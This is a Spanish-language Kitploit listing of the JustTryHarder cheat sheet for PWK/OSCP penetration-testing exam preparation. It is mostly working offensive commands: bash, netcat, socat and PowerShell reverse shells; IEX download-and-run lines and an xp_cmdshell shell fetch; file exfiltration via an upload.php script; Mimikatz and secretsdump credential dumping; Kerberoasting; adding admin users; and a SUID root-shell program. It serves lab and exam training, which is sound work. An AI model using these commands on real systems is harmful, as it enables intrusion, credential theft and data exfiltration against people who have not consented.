Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
JustTryHarder — Completa hoja de trucos de pruebas de penetración para la preparación del examen PWK/OSCP, que cubre escalada de privilegios, cracking de contraseñas, generación de payloads, post-explotación, escaneo de puertos, ataques web y técnicas de reconocimiento. | Kitploit
Herramientas/GitHubGitHub/sinfulz/justtryharder
Descifrado de ContraseñasEscalada de PrivilegiosReconocimientoGeneración de PayloadsEscaneo de PuertosExplotaciónPost-ExplotaciónSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubsinfulz/justtryharder

JustTryHarder

836106hace 1 mesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Completa hoja de trucos de pruebas de penetración para la preparación del examen PWK/OSCP, que cubre escalada de privilegios, cracking de contraseñas, generación de payloads, post-explotación, escaneo de puertos, ataques web y técnicas de reconocimiento.

Ver Repositorio

JustTryHarder

JustTryHarder es una chuleta que te ayudará a lo largo del curso PWK y del examen OSCP.

(Inspirado por PayloadAllTheThings)

No dudes en enviar un Pull Request y dejar una estrella para mostrar tu aprecio si te ayudó. 💖

¡Amigable con Hacktoberfest! Sí, estamos abiertos a Pull Requests para Hacktoberfest. Asegúrate de que no sea spam y que realmente contribuya bien a este repositorio. ¡Gracias y feliz hacking!

Descargo de responsabilidad: Ninguno de los siguientes incluye spoilers de los laboratorios PWK / examen OSCP.

Información de créditos

He obtenido gran parte de esta información a través de otros repositorios de Github, blogs, sitios y más. He intentado dar el mayor crédito posible al creador original. Si no te he dado crédito, por favor contáctame en Twitter: https://twitter.com/s1nfulz

Tabla de contenidos

  • Determinar el SO de un host mediante Ping
  • BOF (WIP)
  • Salidas / Escapes de entorno
  • DNS - Transferencias de zona
  • Transferencias de archivos
  • Kerberoasting
  • LFI / RFI
  • MSSQL / SQLi
  • Cracking de contraseñas
  • Password Spraying (CrackMapExec)
  • Generación de payloads
  • PHP
  • Priv Esc - Linux
  • Priv Esc - Windows
  • Post-Explotación
  • Reenvío de puertos
  • Proxy SOCKS (usando PowerShell)
  • Escaneo de puertos
  • Ping Sweep
  • Pivoting
  • Escritorio remoto
  • Responder
  • Reverse Shells
  • Mejora de shell
  • Inyección SQL (SQLmap)
  • Mostrar puertos en escucha
  • SMB - Enumeración
  • SMB - Impacket
  • Enumeración SMTP
  • Inyección ICMP
  • VMware (no entra en pantalla completa)
  • Servidores web
  • Escaneo web
  • Web Shells
  • WordPress
  • Windows Framework / PowerShell
  • Comandos de post-explotación en Windows
  • Directorios escribibles
  • Lista de tareas pendientes
  • Agradecimientos

Determinando el SO de un host mediante Ping```bash

ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms

root@kitploit:~
El `TTL` se puede usar para determinar el SO del host. Los tres tipos diferentes de TTL son como se muestra a continuación:

  - **TTL=64** = \*nix - El contador de saltos; así que si obtienes 61, entonces hay 3 saltos y es un dispositivo \*nix. Muy probablemente Linux.
  - **TTL=128** = Windows - De nuevo, si el TTL es 127 entonces el salto es 1 y es una máquina Windows.
  - **TTL=254** = Solaris/AIX - Si el TTL es 250 entonces el contador de saltos es 4 y es una máquina Solaris.

## BOF (Trabajo en Progreso)

(Los caracteres malos típicos incluyen: `0x00`, `0x0A`, `0x0D`)

  - Fuzzing
  - Encontrar la posición de EIP
  - Encontrar caracteres malos
  - Localizar `jmp esp`
  - Generar payload con `msfvenom`
  - Obtener reverse shell con `netcat`

**Buenos recursos de BOF:**

  - [NCC Group - Escribiendo Exploits para Win32](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
  - [Corelan - Tutorial de Escritura de Exploits Parte 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
  - [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
  - [VeteranSec - Desbordamientos de Búfer de 32 bits en Windows Hechos Fáciles](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)

## Rupturas / Escapes de Entorno

  - [Pentest Partners - Escapando de Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
  - [SRA.io - Escape de SiteKiosk](https://sra.io/blog/sitekiosk-breakout/)
  - [TrustedSec - Teclas de Escape de Kiosco/POS](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
  - [Cognosec - Escapando del Entorno Citrix](https://cognosec.com/breaking-out-of-citrix-environment/)
  - [NetSPI - Escapando de Aplicaciones](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
  - [NCC Group - Problemas Comunes con Escapes de Entorno (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
  - [GracefulSecurity - Escape de Citrix](https://gracefulsecurity.com/citrix-breakout/)

## DNS - Transferencias de Zona```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## Transferencias de Archivos

### Transferencia SMB

En la máquina víctima (Windows):```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Transferencia con Wget

Cómo recuperar archivo(s) del anfitrión (dentro de una shell inversa).

**Configuración:** Coloca el archivo que deseas transferir en `/var/www/html/` y ejecuta `service apache2 start`.

Ejecuta en el servidor remoto:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64)       # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/)   # <- for folder
```
### Transferencia TFTP

(Cómo transferir desde Kali a Windows).

**Usando MSF:**
Inicia MSF antes de estos pasos:

1.  `use auxiliary/server/tftp`
2.  `set TFTPROOT /usr/share/mimikatz/Win32/`
3.  `run`

**Dentro de una terminal:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`

### NetCat (Windows a Kali)

1.  **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2.  **Linux:** `nc -nlvp 4444 > bank-account.zip`

### PowerShell

Sesión interactiva:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
Sin una sesión interactiva de PowerShell (Crea `wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux a Linux)

**Host local:**

1.  `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2.  Transfiere `encoded.b64` al servidor remoto mediante `nc` o de otra forma.

**Servidor remoto - Linux:**
3.  `cat /path/to/encoded.b64 | base64 -d > exploit.py`

### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### Carga de archivos HTTP (Exfiltración)

**1. Crear upload.php**
Crear en la raíz web de la máquina atacante (`/var/www/html` por defecto).```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. Crear directorio**
Cree un directorio de carga y establezca los permisos adecuados para permitir la carga.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. Subir archivo**
Subir archivo desde la máquina víctima a la máquina atacante usando PowerShell:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting

  - `GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>`
  - `powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
  - `impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes`

## LFI / RFI

**PHP Reverse Shell:**```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10/1234 0>&1'"); ?>
```
**Inyección de comandos:**```php
<?php echo shell_exec(whoami);?>
```
## MSSQL / SQLi

  - `EXEC master..xp_cmdshell 'whoami';`
  - `' exec master..xp_cmdshell 'whoami' --`
  - [Hoja de trucos de inyección SQL OSCP-2](https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md)
  - [Inyección SQL de PentestMonkey](http://pentestmonkey.net/category/cheat-sheet/sql-injection)

## Descifrado de Contraseñas

**Hashcat**```bash
hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt
```
**John The Ripper**```bash
john --rules --wordlist=/path/to/your/wordlist.txt hash.txt
```
## Rociado de contraseñas (CrackMapExec)```bash
cme smb 10.10.10.10 -u username -d domain -p password
```
## Generación de Payload

  - [NETSEC - Creando Payloads](https://netsec.ws/?p=331)
  - [MsfVenom Cheatsheet](https://www.google.com/search?q=http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/_)
  - [Metasploit Unleashed Payloads](https://www.offensive-security.com/metasploit-unleashed/payloads/)
  - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)

**Tipos:**

  - No fragmentado: `netcat`
  - Fragmentado: `multi/handler`

## PHP

  - [Las diferencias entre exec(), shell\_exec, system() y passthru()](https://stackoverflow.com/questions/20072696/what-is-different-between-exec-shell-exec-system-and-passthru-functions?lq=1)

## Escalada de privilegios - Linux

**Nota:** Si GCC y wget están instalados, el sistema PODRÍA ser vulnerable a un exploit de kernel.

  - [Exploits de Kernel Linux](https://github.com/SecWiki/linux-kernel-exploits)
  - [GTFObins - Salir de shells restringidos](https://gtfobins.github.io)
      - Script auxiliar de GTFO: [https://github.com/dreadnaughtsec/gtfo](https://github.com/dreadnaughtsec/gtfo)
  - [Linux Exploit Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester)
  - [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2)
  - [Escalada básica de privilegios en Linux](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)

**Comandos de enumeración:**```bash
grep -Ri 'password' .
find / -perm –4000 2>/dev/null
find / -perm -u=s 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null
# (then ls -la, look for 777 file permissions)
```
**Custom SUID binary:** Requiere ejecución de código como el usuario objetivo. Ejemplo: mysql sys\_eval como root.```c
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main(){
    setuid(geteuid());
    system("/bin/bash");
    return 0;
}
```
## Escalada de Privilegios - Windows

  - [Fundamentos de Escalada de Privilegios en Windows](http://www.fuzzysecurity.com/tutorials/16.html)
  - [Guía de Escalada de Privilegios en Windows](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
  - [PowerUp / PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
  - [Powerless - Herramienta de Enumeración](https://github.com/M4ximuss/Powerless)
  - [Taller de Escalada de Privilegios Local](https://github.com/sagishahar/lpeworkshop)
  - [Otro Script de Enumeración de Windows / JAWS](https://github.com/411Hall/JAWS)
  - [Watson](https://github.com/rasta-mouse/Watson)
  - [Sherlock (Obsoleto)](https://github.com/rasta-mouse/Sherlock)
  - [Sugeridor de Exploits de Windows](https://github.com/GDSSecurity/Windows-Exploit-Suggester)

**Comandos:**

  - `churrasco -d "net user /add <username> <password>"`
  - `churrasco -d "net localgroup administrators <username> /add"`
  - `churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"`

## Post-Explotación

1.  `Mimikatz.exe` (ejecútelo)
2.  `privilege::debug`
3.  `sekurlsa::logonpasswords`

## Redireccionamiento de Puertos

> **Local:** Redirige un puerto local a un host remoto.
> Use Local si tiene un servicio ejecutándose en una máquina que se pueda alcanzar desde la máquina remota, y desea acceder a él directamente desde la máquina local.
>
> **Remoto:** Redirige un puerto remoto al host local.
> Use Remoto si tiene un servicio que se pueda alcanzar desde la máquina local, y necesita hacerlo disponible para la máquina remota. Abre el socket de escucha en la máquina a la que se ha conectado mediante SSH.
>
> **Dinámico:** Use SOCKS.
> Dinámico es como Local, pero en el lado del cliente se comporta como un proxy SOCKS. Úselo si necesita conectarse con un software que espera redireccionamiento SOCKS.

### Chisel

**Sistema local:**```bash
./chisel server -p 8080 --reverse
```
**Víctima:**```bash
./chisel client YOUR_IP:8080 R:1234:127.0.0.1:1234
```
### SSH

1.  **Generar un par de claves SSH** en la caja a través de la cual se está pivotando para proteger tus credenciales.

<!-- end list -->```bash
ssh-keygen
cat ~/.ssh/id_rsa.pub
```
2.  **Copiar la clave pública**. Agregue este valor y la dirección IP de la máquina pivote al archivo `~/.ssh/authorized_keys` en su máquina atacante (Kali) usando la sintaxis a continuación.

<!-- end list -->```
from="[VICTIM_MACHINE_IP_ADDRESS]",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty [PUBLIC_KEY_VALUE]
```
3.  **Asegúrate de que el servicio SSH esté en ejecución** en tu máquina atacante (Kali).

<!-- end list -->```bash
sudo service ssh start
```
4.  **Iniciar llamada SSH** desde el equipo a través del cual se realiza el pivote y especificar la clave privada `id_rsa` generada en el paso 1.

<!-- end list -->```bash
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /[PATH_TO_YOUR_PRIVATE_KEY]/id_rsa kali@[ATTACKING_MACHINE_IP]
```
5.  **Edita tu configuración de proxychains**: `/etc/proxychains.conf`

<!-- end list -->```
socks4 127.0.0.1 1080
```
6.  **Ejecuta proxychains**. Al escanear con `nmap`, asegúrate de usar escaneos TCP Connect.

<!-- end list -->```bash
sudo proxychains nmap -sT -p80 -sC -sV --open -Pn -n 10.10.10.10
```
**Notas adicionales:**

  - `ssh [email protected] -R 1234:127.0.0.1:1234`
  - `ssh -D 1337 -q -C -N -f [email protected]` ([Fuente](https://ma.ttias.be/socks-proxy-linux-ssh-bypass-content-filters))

## Proxy Socks (usando PowerShell)

**Local:**

  - `vi /etc/proxychains.conf` -\> `socks5 <ip> 9080`
  - `Import-Module .\Invoke-SocksProxy.psm1`
  - `Invoke-SocksProxy -bindPort 9080`
  - `proxychains nmap -sT <ip>`

## Escaneo de Puertos

### TCP```bash
reconnoitre -t 10.10.10.10 -o . --services --quick --hostnames
nmap -vvv -sC -sV -p- --min-rate 2000 10.10.10.10
nmap -sT -p 22,80,110 -A
nmap -p- -iL ips.txt > TCP_Ports.txt
nc -v -n -z -w1 10.10.10.10 1-10000
nmap -p- -iL ips.txt > AllTCPPorts.txt
```
### UDP

(Puede llevar horas, `netstat` es una mejor alternativa si tienes un shell).```bash
nmap -sU --top-ports 10000
nmap -sT -sU -p 22,80,110 -A
nmap -sT -sU -p- --min-rate 2000
nmap -p- -sU -iL ips.txt > udp.txt
nmap -sU -sV -iL ips.txt > alludpports.txt
```
### Otros Protocolos

**SNMP:**
`nmap -p161 -sU -iL ips.txt > udp.txt`

**SSH:**
`nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt`

**SSL:**
`nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt`

**Informe Bootstrap de NMAP:**```bash
nmap -oA poison --stylesheet nmap-bootstrap.xsl 10.10.10.10
firefox nmap-bootstrap.xsl
```
## Barrido de Ping

### Linux (Comandos de una línea)```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
fping -g 192.168.0.1/24
```
### Linux (Script)```bash
for i in `seq 1 255`
do
    ping -c1 192.168.125.$i 2>/dev/null 1>&2
    if [[ $? -eq 0 ]]
    then
        echo 192.168.125.$i is up
    fi
done
```
### Windows (CMD)```cmd
for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up.
```
### Windows (PowerShell)```powershell
$ping = New-Object System.Net.Networkinformation.Ping ; 1..254 | % { $ping.send("10.9.15.$_", 1) | where status -ne 'TimedOut' | select Address | fl * }
```
### Nmap```bash
nmap -sP 192.168.0.1-254
```
## Pivoting

  - `sshuttle -r [email protected] 10.1.1.0/24`

## Escritorio Remoto

  - `rdesktop -u user -p password 10.10.10.10 -g 85% -r disk:share=/root/`
  - `xfreerdp /d:xyz.local /u:username /p:password /v:10.10.10.10 /cert-ignore`

## Responder

  - `responder -I tun0 -wrF`
  - [Responder con Relay NTLM y Empire](https://chryzsh.gitbooks.io/darthsidious/content/execution/responder-with-ntlm-relay-and-empire.html)
  - [Guía práctica para Relay NTLM](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)

## Reverse Shells

**Linux:**

  - [PentestMonkey - Hoja de referencia de Reverse Shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
  - [Awansec - Reverse Shell](https://awansec.com/reverse-shell.html)
  - [RevShells.com](https://www.revshells.com/)

**Windows:**

  - [GitHub - Windows PHP Reverse Shell](https://github.com/Dhayalanb/windows-php-reverse-shell)
  - `nc 10.10.10.10 4444 –e cmd.exe`

## Mejora de Shell

Fuente: [Blog de Ropnop](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) y [Foro de HTB](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)

### Python

1.  `python -c 'import pty;spawn("/bin/bash");'` O `python3 -c 'import pty;spawn("/bin/bash");'`
2.  En la reverse shell:

<!-- end list -->```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
```
3.  En Kali:

<!-- end list -->```bash
stty raw -echo
fg
```
4.  En shell inversa:

<!-- end list -->```bash
reset # (sometimes optional)
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols> # (optional)
```
### Usando Socat

**Oyente:**```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
**Víctima:**```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```
### Perl

1.  `perl -e 'exec "/bin/sh";'`
2.  `perl: exec "/bin/sh";`

### Bash

`/bin/sh -i`

## Inyección SQL (SQLmap)```bash
sqlmap -u "[http://example.com/test.php?test=test](http://example.com/test.php?test=test)" --level=5 --risk=3 --batch
```
## Mostrar puertos en escucha

**Linux netstat:**
`netstat -tulpn | grep LISTEN`

**FreeBSD/MacOS X netstat:**
`netstat -anp tcp | grep LISTEN`
`netstat -anp udp | grep LISTEN`

**OpenBSD netstat:**
`netstat -na -f inet | grep LISTEN`
`netstat -nat | grep LISTEN`

**Escaneo Nmap:**
`sudo nmap -sT -O localhost`
`sudo nmap -sU -O 192.168.2.13` (UDP)
`sudo nmap -sT -O 192.168.2.13` (TCP)

## SMB - Enumeración

  - [0xdf - Lista de verificación de enumeración SMB](https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html)
  - `smbmap -H 10.10.10.10`
  - `smbclient -L 10.0.0.10`
  - `smbclient //10.10.10.10/share$`

## SMB - Impacket

**PSEXEC de Impacket** (Después de crear un reenvío de puerto remoto):```bash
/usr/share/doc/python-impacket/examples/psexec.py [email protected]
# Password: (password)
# [*] Trying protocol 445/SMB...
```
**Impacket's SMBServer** (Para transferencia de archivos):

1.  `cd /usr/share/windows-binaries`
2.  `python /usr/share/doc/python-impacket/examples/smbserver.py a .`
3.  `\\10.10.10.10\a\mimikatz.exe`

## Enumeración SMTP

  - [SMTP Commands](https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/SMTP/smtp_commands.txt)

## Inyección ICMP

1.  `ping -n 3 10.10.10.10`
2.  `tcpdump -i tun0 icmp`

## VMware (no se muestra a pantalla completa)

`systemctl restart open-vm-tools.service`

## Servidores Web

  - `python -m SimpleHTTPServer 80`
  - `python3 -m http.server 80`
  - `ngrok http "file:///C:\Users\sinfulz\Public Folder"`
  - `php -S 0.0.0.0:80`

## Escaneo Web

**GoBuster (Linux/Apache):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,jsp,pl -s 200,204,301,302,307,403,401
```
**GoBuster (Windows/IIS):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,asp,aspx,jsp,bak -s 200,204,301,302,307,403,401
```
**Dirsearch (Linux/Apache):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,jsp,pl -t 50
```
**Dirsearch (Windows/IIS):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,asp,aspx,jsp,bak -t 50
```
**Otro GoBuster:**

  - HTTP: `gobuster dir -u http://10.10.10.10 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -t 69`
  - HTTPS: `gobuster dir -k -u https://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69`

**Nikto:**

  - HTTP: `nikto -h 10.10.10.10 -p 80`
  - HTTPS: `nikto -h 10.10.10.10 -p 443`

**WFuzz:**```bash
wfuzz -u [http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00](http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00) -w /usr/share/wfuzz/wordlist/general/common.txt
```
## Web Shells

  - [PHPBash](https://github.com/Arrexel/phpbash)
  - [p0wny-shell](https://github.com/flozz/p0wny-shell)

## WordPress

  - [Top Hat Sec - WP](https://forum.top-hat-sec.com/index.php?topic=5758.0)

## Windows Framework / Powershell

**Bypass de la política de ejecución de PowerShell:**```powershell
powershell -ExecutionPolicy ByPass -File script.ps1
```
**Recursos:**

  - [Nishang](https://github.com/samratashok/nishang)
  - [Sherlock](https://github.com/rasta-mouse/Sherlock)

**PowerShell inverso:**
(A veces puede ser necesario poner 'powershell' o 'echo' delante de la cadena, o usar comillas).```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
**PowerUp (desde el servidor web local):**```powershell
echo IEX(New-Object Net.WebClient).DownloadString('[http://10.10.10.10:80/PowerUp.ps1](http://10.10.10.10:80/PowerUp.ps1)') | powershell -noprofile -
```
o```powershell
powershell -nop -exec bypass IEX "(New-Object Net.WebClient).DownloadString('[http://10.10.14.](http://10.10.14.)x/Whatever.ps1'); Invoke-Whatever"
```
**Reverse PowerShell usando MSSQL:**```sql
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"[http://10.10.10.10/Nishang-ReverseShell.ps1](http://10.10.10.10/Nishang-ReverseShell.ps1)\")
```
**Transferencia de archivos con PowerShell:**```powershell
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://server/path/to/file', 'nameforefile')
```
## Comandos de Post-Explotación en Windows```cmd
WMIC USERACCOUNT LIST BRIEF
net user
net localgroup Users
net localgroup Administrators
net user USERNAME NEWPASS /add
net user "USER NAME" NEWPASS /add
net localgroup administrators USERNAME /add
```
## Directorios Escribibles

### Windows

(Fuente: [UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md))
Las siguientes carpetas son, por defecto, escribibles por usuarios normales (varía según la versión del SO).```
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```
### Linux

Para encontrar Directorios con permisos de escritura mundial en Linux:```bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
```
-----  

## Lista de tareas:  

  - [ ] Mejorar la legibilidad de la hoja de trucos  
  - [ ] Rellenar las secciones vacías  
  - [ ] Eliminar secciones innecesarias  
  - [ ] Integrar los archivos del repositorio en la hoja de trucos  
  - [ ] Migrar a GitBook  
  - [ ] Incluir capturas de pantalla/gifs en la hoja de trucos si es necesario  
  - [ ] Añadir una tabla de contenido  

## Agradecimientos:  

Gracias a estas personas por incluir mi hoja de trucos en su sitio web/blog:  

- [KhaoticDev Cheatsheets](https://khaoticdev.net/cheatsheets/#collections)  
- [NCyberSec Facebook Post](https://www.facebook.com/ncybersec/posts/1541830509321001)  
- [CyberG0100 Facebook Post](https://www.facebook.com/cyberg0100/posts/github-sinfulzjusttryharder-justtryharder-a-cheat-sheet-which-will-aid-you-throu/653235345249466)  
- [r/CyberSpaceVN Reddit Post](https://www.reddit.com/r/CyberSpaceVN/comments/f3n2wp/github_sinfulzjusttryharder_justtryharder_a_cheat)  
- [XN4K PWK Cheatsheet](https://xn4k.github.io/pentest/PWK-course-&-the-OSCP-Exam-Cheatsheet/)  
- [OpenSourceLibs Pentesting Tools](https://opensourcelibs.com/libs/pentesting-tools)  
- [GitMemory (brhannah)](https://gitmemory.com/brhannah)  
- [BugBountyTips Blog](https://www.bugbountytips.tech/2020/08/23/justtryharderpwk-cheatsheetkali-linux-cheatsheethydra-cheatsheetsecu-2/)  
- [PythonLang OSCP Category](https://pythonlang.dev/category/oscp/)
Descargar herramienta